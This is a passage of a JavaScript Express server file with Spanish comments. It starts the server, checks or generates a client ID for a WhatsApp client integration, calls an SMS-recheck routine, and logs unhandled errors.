	const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
	for (let i = 0; i < length; i++) {
	  result += characters.charAt(Math.floor(Math.random() * characters.length));
	}
	return result;
  }
  
  


// Inicia el servidor Express
server.listen(port, () => {
	console.log(`Server is running on http://localhost:${port}`);
  
	let clientId = process.env.CLIENT_ID || '';
  
	// Generación robusta de clientId
	if (!clientId || !/^[A-Za-z0-9]{10,10}$/.test(clientId)) {
	  clientId = generateValidClientId();
	  console.log(`Generated new WhatsApp-compatible ClientID: ${clientId}`);
	}
  
	const returnUrl = 'http://localhost:8443/callback';
	initializeWhatsAppClient(clientId, returnUrl);
  });
  

ReCheckSMS();

// Catch unhandled promise rejections
process.on('unhandledRejection', (reason, promise) => {
    console.error('Unhandled Rejection at:', promise, 'reason:', reason);
});

// Catch uncaught exceptions
process.on('uncaughtException', (error) => {
    console.error('Uncaught Exception:', error);
});